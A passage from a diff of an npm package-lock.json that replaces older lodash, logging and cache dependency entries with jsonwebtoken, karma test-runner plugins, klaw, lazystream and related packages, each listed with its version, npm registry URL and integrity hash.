"https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", +- "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=" +- }, +- "lodash.keys": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-2.4.1.tgz", +- "integrity": "sha1-SN6kbfj/djKxDXBrissmWR4rNyc=", ++ "jsonwebtoken": { ++ "version": "8.5.1", ++ "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz", ++ "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==", + "requires": { +- "lodash._isnative": "~2.4.1", +- "lodash._shimkeys": "~2.4.1", +- "lodash.isobject": "~2.4.1" ++ "jws": "^3.2.2", ++ "lodash.includes": "^4.3.0", ++ "lodash.isboolean": "^3.0.3", ++ "lodash.isinteger": "^4.0.4", ++ "lodash.isnumber": "^3.0.3", ++ "lodash.isplainobject": "^4.0.6", ++ "lodash.isstring": "^4.0.1", ++ "lodash.once": "^4.0.0", ++ "ms": "^2.1.1", ++ "semver": "^5.6.0" ++ }, ++ "dependencies": { ++ "jwa": { ++ "version": "1.4.1", ++ "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", ++ "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", ++ "requires": { ++ "buffer-equal-constant-time": "1.0.1", ++ "ecdsa-sig-formatter": "1.0.11", ++ "safe-buffer": "^5.0.1" ++ } ++ }, ++ "jws": { ++ "version": "3.2.2", ++ "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", ++ "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", ++ "requires": { ++ "jwa": "^1.4.1", ++ "safe-buffer": "^5.0.1" ++ } ++ }, ++ "semver": { ++ "version": "5.7.1", ++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", ++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" ++ } + } + }, +- "lodash.memoize": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", +- "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", +- "dev": true +- }, +- "lodash.merge": { +- "version": "4.6.2", +- "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", +- "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", +- "dev": true +- }, +- "lodash.noop": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.noop/-/lodash.noop-2.4.1.tgz", +- "integrity": "sha1-T7VPgWZS5a4Q6PcvcXo4jHMmU4o=" +- }, +- "lodash.omit": { +- "version": "4.5.0", +- "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", +- "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=", +- "dev": true +- }, +- "lodash.once": { +- "version": "4.1.1", +- "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", +- "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w=" +- }, +- "lodash.padend": { +- "version": "4.6.1", +- "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz", +- "integrity": "sha1-U8y6BH0G4VjTEfRdpiX05J5vFm4=", +- "dev": true +- }, +- "lodash.pick": { +- "version": "4.4.0", +- "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", +- "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=", +- "dev": true +- }, +- "lodash.set": { +- "version": "4.3.2", +- "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", +- "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=" +- }, +- "lodash.sortby": { +- "version": "4.7.0", +- "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", +- "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", +- "dev": true +- }, +- "lodash.support": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.support/-/lodash.support-2.4.1.tgz", +- "integrity": "sha1-Mg4LZwMWc8KNeiu12eAzGkUkBRU=", ++ "jsprim": { ++ "version": "1.4.2", ++ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz", ++ "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", + "requires": { +- "lodash._isnative": "~2.4.1" ++ "assert-plus": "1.0.0", ++ "extsprintf": "1.3.0", ++ "json-schema": "0.4.0", ++ "verror": "1.10.0" ++ }, ++ "dependencies": { ++ "assert-plus": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", ++ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" ++ } + } + }, +- "lodash.template": { +- "version": "4.5.0", +- "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz", +- "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==", +- "dev": true, ++ "jstransformer": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", ++ "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", + "requires": { +- "lodash._reinterpolate": "^3.0.0", +- "lodash.templatesettings": "^4.0.0" ++ "is-promise": "^2.0.0", ++ "promise": "^7.0.1" + } + }, +- "lodash.templatesettings": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz", +- "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==", ++ "jsx-ast-utils": { ++ "version": "3.2.1", ++ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", ++ "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==", + "dev": true, + "requires": { +- "lodash._reinterpolate": "^3.0.0" ++ "array-includes": "^3.1.3", ++ "object.assign": "^4.1.2" + } + }, +- "lodash.throttle": { +- "version": "4.1.1", +- "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", +- "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" +- }, +- "lodash.union": { +- "version": "4.6.0", +- "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", +- "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=" +- }, +- "lodash.uniq": { +- "version": "4.5.0", +- "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", +- "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", ++ "just-extend": { ++ "version": "4.2.1", ++ "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz", ++ "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==", + "dev": true + }, +- "log": { +- "version": "6.3.1", +- "resolved": "https://registry.npmjs.org/log/-/log-6.3.1.tgz", +- "integrity": "sha512-McG47rJEWOkXTDioZzQNydAVvZNeEkSyLJ1VWkFwfW+o1knW+QSi8D1KjPn/TnctV+q99lkvJNe1f0E1IjfY2A==", ++ "jwa": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz", ++ "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==", + "requires": { +- "d": "^1.0.1", +- "duration": "^0.2.2", +- "es5-ext": "^0.10.53", +- "event-emitter": "^0.3.5", +- "sprintf-kit": "^2.0.1", +- "type": "^2.5.0", +- "uni-global": "^1.0.0" ++ "buffer-equal-constant-time": "1.0.1", ++ "ecdsa-sig-formatter": "1.0.11", ++ "safe-buffer": "^5.0.1" + } + }, +- "log-driver": { +- "version": "1.2.7", +- "resolved": "https://registry.npmjs.org/log-driver/-/log-driver-1.2.7.tgz", +- "integrity": "sha512-U7KCmLdqsGHBLeWqYlFA0V0Sl6P08EE1ZrmA9cxjUE0WVqT9qnyVDPz1kzpFEP0jdJuFnasWIfSd7fsaNXkpbg==" ++ "jws": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz", ++ "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==", ++ "requires": { ++ "jwa": "^2.0.0", ++ "safe-buffer": "^5.0.1" ++ } + }, +- "log-symbols": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", +- "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", ++ "kareem": { ++ "version": "2.3.2", ++ "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz", ++ "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ==" ++ }, ++ "karma": { ++ "version": "6.3.17", ++ "resolved": "https://registry.npmjs.org/karma/-/karma-6.3.17.tgz", ++ "integrity": "sha512-2TfjHwrRExC8yHoWlPBULyaLwAFmXmxQrcuFImt/JsAsSZu1uOWTZ1ZsWjqQtWpHLiatJOHL5jFjXSJIgCd01g==", + "dev": true, + "requires": { +- "chalk": "^4.1.0", +- "is-unicode-supported": "^0.1.0" ++ "@colors/colors": "1.5.0", ++ "body-parser": "^1.19.0", ++ "braces": "^3.0.2", ++ "chokidar": "^3.5.1", ++ "connect": "^3.7.0", ++ "di": "^0.0.1", ++ "dom-serialize": "^2.2.1", ++ "glob": "^7.1.7", ++ "graceful-fs": "^4.2.6", ++ "http-proxy": "^1.18.1", ++ "isbinaryfile": "^4.0.8", ++ "lodash": "^4.17.21", ++ "log4js": "^6.4.1", ++ "mime": "^2.5.2", ++ "minimatch": "^3.0.4", ++ "mkdirp": "^0.5.5", ++ "qjobs": "^1.2.0", ++ "range-parser": "^1.2.1", ++ "rimraf": "^3.0.2", ++ "socket.io": "^4.2.0", ++ "source-map": "^0.6.1", ++ "tmp": "^0.2.1", ++ "ua-parser-js": "^0.7.30", ++ "yargs": "^16.1.1" + }, + "dependencies": { +- "ansi-styles": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", +- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", ++ "base64id": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", ++ "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==", ++ "dev": true ++ }, ++ "minimist": { ++ "version": "1.2.6", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", ++ "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", ++ "dev": true ++ }, ++ "mkdirp": { ++ "version": "0.5.6", ++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", ++ "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "requires": { +- "color-convert": "^2.0.1" ++ "minimist": "^1.2.6" + } + }, +- "chalk": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", +- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", ++ "rimraf": { ++ "version": "3.0.2", ++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", ++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { +- "ansi-styles": "^4.1.0", +- "supports-color": "^7.1.0" ++ "glob": "^7.1.3" + } + }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", ++ "socket.io": { ++ "version": "4.4.1", ++ "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.4.1.tgz", ++ "integrity": "sha512-s04vrBswdQBUmuWJuuNTmXUVJhP0cVky8bBDhdkf8y0Ptsu7fKU2LuLbts9g+pdmAdyMMn8F/9Mf1/wbtUN0fg==", + "dev": true, + "requires": { +- "has-flag": "^4.0.0" ++ "accepts": "~1.3.4", ++ "base64id": "~2.0.0", ++ "debug": "~4.3.2", ++ "engine.io": "~6.1.0", ++ "socket.io-adapter": "~2.3.3", ++ "socket.io-parser": "~4.0.4" ++ } ++ }, ++ "source-map": { ++ "version": "0.6.1", ++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", ++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", ++ "dev": true ++ }, ++ "yargs": { ++ "version": "16.2.0", ++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", ++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", ++ "dev": true, ++ "requires": { ++ "cliui": "^7.0.2", ++ "escalade": "^3.1.1", ++ "get-caller-file": "^2.0.5", ++ "require-directory": "^2.1.1", ++ "string-width": "^4.2.0", ++ "y18n": "^5.0.5", ++ "yargs-parser": "^20.2.2" + } + } + } + }, +- "log-update": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", +- "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", ++ "karma-chai-sinon": { ++ "version": "0.1.5", ++ "resolved": "https://registry.npmjs.org/karma-chai-sinon/-/karma-chai-sinon-0.1.5.tgz", ++ "integrity": "sha1-XDksqVJHgYlR1rV5AvAsNugDdTo=", ++ "dev": true, ++ "requires": {} ++ }, ++ "karma-chrome-launcher": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/karma-chrome-launcher/-/karma-chrome-launcher-3.1.0.tgz", ++ "integrity": "sha512-3dPs/n7vgz1rxxtynpzZTvb9y/GIaW8xjAwcIGttLbycqoFtI7yo1NGnQi6oFTherRE+GIhCAHZC4vEqWGhNvg==", + "dev": true, + "requires": { +- "ansi-escapes": "^4.3.0", +- "cli-cursor": "^3.1.0", +- "slice-ansi": "^4.0.0", +- "wrap-ansi": "^6.2.0" ++ "which": "^1.2.1" + }, + "dependencies": { +- "ansi-styles": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", +- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", +- "dev": true, +- "requires": { +- "color-convert": "^2.0.1" +- } +- }, +- "wrap-ansi": { +- "version": "6.2.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", +- "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", ++ "which": { ++ "version": "1.3.1", ++ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", ++ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "requires": { +- "ansi-styles": "^4.0.0", +- "string-width": "^4.1.0", +- "strip-ansi": "^6.0.0" ++ "isexe": "^2.0.0" + } + } + } + }, +- "log4js": { +- "version": "6.4.1", +- "resolved": "https://registry.npmjs.org/log4js/-/log4js-6.4.1.tgz", +- "integrity": "sha512-iUiYnXqAmNKiIZ1XSAitQ4TmNs8CdZYTAWINARF3LjnsLN8tY5m0vRwd6uuWj/yNY0YHxeZodnbmxKFUOM2rMg==", ++ "karma-mocha": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/karma-mocha/-/karma-mocha-2.0.1.tgz", ++ "integrity": "sha512-Tzd5HBjm8his2OA4bouAsATYEpZrp9vC7z5E5j4C5Of5Rrs1jY67RAwXNcVmd/Bnk1wgvQRou0zGVLey44G4tQ==", + "dev": true, + "requires": { +- "date-format": "^4.0.3", +- "debug": "^4.3.3", +- "flatted": "^3.2.4", +- "rfdc": "^1.3.0", +- "streamroller": "^3.0.2" ++ "minimist": "^1.2.3" ++ }, ++ "dependencies": { ++ "minimist": { ++ "version": "1.2.5", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", ++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", ++ "dev": true ++ } + } + }, +- "lolex": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lolex/-/lolex-6.0.0.tgz", +- "integrity": "sha512-ad9IBHbfVJ3bPAotDxnCgJgKcNK5/mrRAfbJzXhY5+PEmuBWP7wyHQlA6L8TfSfPlqlDjY4K7IG6mbzsrIBx1A==", ++ "karma-mocha-reporter": { ++ "version": "2.2.5", ++ "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz", ++ "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", + "dev": true, + "requires": { +- "@sinonjs/commons": "^1.7.0" ++ "chalk": "^2.1.0", ++ "log-symbols": "^2.1.0", ++ "strip-ansi": "^4.0.0" ++ }, ++ "dependencies": { ++ "ansi-regex": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", ++ "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", ++ "dev": true ++ }, ++ "log-symbols": { ++ "version": "2.2.0", ++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", ++ "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", ++ "dev": true, ++ "requires": { ++ "chalk": "^2.0.1" ++ } ++ }, ++ "strip-ansi": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", ++ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", ++ "dev": true, ++ "requires": { ++ "ansi-regex": "^3.0.0" ++ } ++ } + } + }, +- "long": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", +- "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==" ++ "karma-requirejs": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/karma-requirejs/-/karma-requirejs-1.1.0.tgz", ++ "integrity": "sha1-/driy4fX68FvsCIok1ZNf+5Xh5g=", ++ "dev": true, ++ "requires": {} + }, +- "loose-envify": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", +- "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", ++ "keycode": { ++ "version": "2.2.1", ++ "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz", ++ "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg==" ++ }, ++ "kind-of": { ++ "version": "6.0.3", ++ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", ++ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", ++ "dev": true ++ }, ++ "klaw": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/klaw/-/klaw-4.0.1.tgz", ++ "integrity": "sha512-pgsE40/SvC7st04AHiISNewaIMUbY5V/K8b21ekiPiFoYs/EYSdsGa+FJArB1d441uq4Q8zZyIxvAzkGNlBdRw==", ++ "dev": true ++ }, ++ "klaw-sync": { ++ "version": "6.0.0", ++ "resolved": "https://registry.npmjs.org/klaw-sync/-/klaw-sync-6.0.0.tgz", ++ "integrity": "sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ==", + "requires": { +- "js-tokens": "^3.0.0 || ^4.0.0" ++ "graceful-fs": "^4.1.11" + } + }, +- "loupe": { +- "version": "2.3.1", +- "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.1.tgz", +- "integrity": "sha512-EN1D3jyVmaX4tnajVlfbREU4axL647hLec1h/PXAb8CPDMJiYitcWF2UeLVNttRqaIqQs4x+mRvXf+d+TlDrCA==", ++ "klona": { ++ "version": "2.0.5", ++ "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", ++ "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", ++ "dev": true ++ }, ++ "language-subtag-registry": { ++ "version": "0.3.21", ++ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz", ++ "integrity": "sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg==", ++ "dev": true ++ }, ++ "language-tags": { ++ "version": "1.0.5", ++ "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz", ++ "integrity": "sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=", + "dev": true, + "requires": { +- "get-func-name": "^2.0.0" ++ "language-subtag-registry": "~0.3.2" + } + }, +- "lower-case": { ++ "lazy-ass": { ++ "version": "1.6.0", ++ "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz", ++ "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=", ++ "dev": true ++ }, ++ "lazy-cache": { + "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", +- "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", ++ "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-2.0.2.tgz", ++ "integrity": "sha1-uRkKT5EzVGlIQIWfio9whNiCImQ=", + "dev": true, + "requires": { +- "tslib": "^2.0.3" ++ "set-getter": "^0.1.0" + } + }, +- "lowercase-keys": { ++ "lazystream": { + "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", +- "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" +- }, +- "lru_map": { +- "version": "0.3.3", +- "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz", +- "integrity": "sha1-tcg1G5Rky9dQM1p5ZQoOwOVhGN0=" +- }, +- "lru-cache": { +- "version": "5.1.1", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", +- "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", +- "requires": { +- "yallist": "^3.0.2" +- } +- }, +- "lru-cache-for-clusters-as-promised": { +- "version": "1.7.4", +- "resolved": "https://registry.npmjs.org/lru-cache-for-clusters-as-promised/-/lru-cache-for-clusters-as-promised-1.7.4.tgz", +- "integrity": "sha512-7A+O3nSLQZua1Et9MTuKP7Tl7Zo2L5OucBafTsmAXHQ7M9whxforWoM2RsX25sP3HmaVwF7D7Eg64o6iqAuZkw==", ++ "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", ++ "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "requires": { +- "cron": "1.8.2", +- "debug": "4.3.3", +- "lru-cache": "6.0.0", +- "uuid": "8.3.2" ++ "readable-stream": "^2.0.5" + }, + "dependencies": { +- "lru-cache": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", +- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", ++ "isarray": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", ++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" ++ }, ++ "readable-stream": { ++ "version": "2.3.7", ++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", ++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { +- "yallist": "^4.0.0" ++ "core-util-is": "~1.0.0", ++ "inherits": "~2.0.3", ++ "isarray": "~1.0.0", ++ "process-nextick-args": "~2.0.0", ++ "safe-buffer": "~5.1.1", ++ "string_decoder": "~1.1.1", ++ "util-deprecate": "~1.0.1" + } + }, +- "uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" +- }, +- "yallist": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", +- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" ++ "string_decoder": { ++ "version": "1.1.1", ++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", ++ "integrity": 